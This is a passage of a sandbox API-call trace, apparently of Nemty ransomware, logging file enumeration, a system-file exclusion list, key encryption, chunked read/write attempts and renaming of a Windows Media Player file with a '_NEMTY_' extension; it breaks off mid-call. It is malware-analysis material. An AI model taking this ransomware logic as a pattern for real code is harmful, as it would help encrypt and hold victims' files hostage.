1 [0102.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0102.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0102.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0102.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0102.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0102.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0102.676] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xdc00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="setup_wm.exe.mui", cAlternateFileName="")) returned 1 [0102.676] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2=".") returned 1 [0102.676] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="..") returned 1 [0102.676] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="...") returned 1 [0102.676] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="windows") returned -1 [0102.676] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0102.676] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="rsa") returned 1 [0102.676] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="NTDETECT.COM") returned 1 [0102.676] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="ntldr") returned 1 [0102.676] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="MSDOS.SYS") returned 1 [0102.676] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="IO.SYS") returned 1 [0102.677] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="boot.ini") returned 1 [0102.677] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="boot.ini") returned 1 [0102.677] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0102.677] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="ntuser.dat") returned 1 [0102.677] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="desktop.ini") returned 1 [0102.677] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="CONFIG.SYS") returned 1 [0102.677] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="RECYCLER") returned 1 [0102.677] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="BOOTSECT.BAK") returned 1 [0102.677] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="bootmgr") returned 1 [0102.677] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="programdata") returned 1 [0102.677] lstrcmpiW (lpString1="setup_wm.exe.mui", lpString2="appdata") returned 1 [0102.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0102.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup_wm.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0102.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup_wm.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup_wm.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0102.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0102.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup_wm.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0102.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup_wm.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup_wm.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0102.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0102.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0102.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0102.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup_wm.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0102.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup_wm.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup_wm.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0102.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0102.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0102.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup_wm.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0102.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0102.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup_wm.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup_wm.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0102.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0102.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942b0 [0102.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0102.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0102.678] Sleep (dwMilliseconds=0x5) [0102.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf0db4050, dwHighDateTime=0x1d561e7)) [0102.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf0db4050, dwHighDateTime=0x1d561e7)) [0102.695] GetLastError () returned 0x5 [0102.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0102.695] GetLastError () returned 0x5 [0102.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0102.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0102.695] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0102.695] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0102.695] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0102.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0102.695] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="90YoFC8ojNMTaK5Gpli7bvNIbllBCOqWXEmUwW8hPeZd3ru32HSLXev+2S/vOKTB\r\nRbLYazZfTa5ObtYdUwd9ymI2kRSEsFHkd4h+LIUy4TZcnog+S0c/8kFPSy6vd7r9\r\nOuQfWtFGu5+pAs5BGQ2vNmRV3Yc+eUFyNHl6aWrUHxGT3018z+OBpVVfVIWrm+oI\r\nL5usSbjwi7r+6Hmw35Rv3IA2datN89pBcXyt337F0uR1HU96FaL5dSZW9D9cWh6e\r\nrURNHbJB66xL86YKushEr43antrqE8pc+ChGS/jfXx6Y58jr557DbsygZwoxKsCw\r\nnnPwQf9RA85aVdYDIbnDhQ==\r\n", pcchString=0x653ef9c) returned 1 [0102.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0102.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0102.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0102.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0102.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0102.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0102.695] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\setup_wm.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\setup_wm.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0102.695] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0102.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0102.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.696] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.705] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.705] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.714] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.714] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.723] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.723] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.733] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.733] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.742] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.743] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.752] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.752] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.761] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.762] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.762] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.762] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.779] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.779] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.788] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.788] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.804] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0102.810] CloseHandle (hObject=0xffffffff) returned 0 [0102.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94338 [0102.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0102.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0102.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0102.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0102.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0102.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0102.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x6340240 [0102.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0102.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0102.811] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\setup_wm.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\setup_wm.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\setup_wm.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\en-us\\setup_wm.exe.mui._nemty_kgobjgd_")) returned 0 [0102.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0102.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0102.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0102.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0102.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0102.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0102.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0102.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0102.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.811] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="wmlaunch.exe.mui", cAlternateFileName="")) returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2=".") returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="..") returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="...") returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="windows") returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="rsa") returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="NTDETECT.COM") returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="ntldr") returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="MSDOS.SYS") returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="IO.SYS") returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="boot.ini") returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="boot.ini") returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="AUTOEXEC.BAT") 